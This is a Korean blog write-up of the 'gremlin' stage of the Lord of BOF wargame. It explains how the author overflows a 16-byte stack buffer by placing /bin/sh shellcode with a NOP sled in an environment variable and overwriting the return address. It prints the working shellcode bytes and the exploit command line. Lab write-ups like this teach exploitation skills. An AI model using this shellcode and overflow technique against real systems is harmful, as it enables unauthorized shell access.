728x90
LOB 2 - gremlin write up |
gate 문제를 해결하고 얻은 gremlin의 password로 로그인하면 다음 문제가 열린다.
이번에는 cobolt가 보인다. 한번 열어보자
gate 문제와 똑같은거 아닌가했지만 buffer 의 크기가 16으로 작아진 것을 확인할 수 있다.
처음에 buffer가 작아진게 무슨 의미일까? 오히려 bof 공격을 사용하기 더 수월해진것 아닌가 생각했다. 지난 문제와 같은 방법으로 공격을 시도한다고 시뮬레이션해보니, 쉘코드를 작성하는 부분에서 막혔다.
쉘코드가 24바이트인데 버퍼의 크기가 16바이트 밖에 안되기때문에 버퍼에 쉘코드를 작성할 수 가 없었다.
이전 문제를 풀때도 버퍼에 크기를 작성하는 것 외에 환경변수를 이용하는 방법이 있었는데, 아마 gremlin에서 small buffer를 준 까닭은 환경변수를 이용해서 공격하라고 의도한 것 같다
gate 문제를 풀 때 사용했던 쉘코드를 환경변수로 등록하자.
환경변수는 export 명령어를 통해 등록할 수 있다.
export shellcode=$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ') |
등록한 쉘 코드의 시작주소를 알아야하므로, getenv 함수를 통해 주소를 구해보자.
shellcode의 주소를 출력하는 c 파일을 하나 만들어주고 컴파일해서 실행한다.
쉘코드의 시작주소를 구했다.
이까지 했다면 사실상 다 푼 것이다.
./cobolt $(python -c 'print("\x90"*20+"\x96\xfe\xff\xbf")') |
버퍼 16바이트 + sfp(4바이트) + 리틀엔디언으로 작성한 쉘코드의 시작주소를 가지고 만든 payload
해결 !
728x90
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
---|---|
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 4 - goblin (0) | 2021.09.30 |
[포너블] LOB 3 - cobolt (0) | 2021.09.26 |
[포너블] LOB 1 - gate (0) | 2021.09.26 |
댓글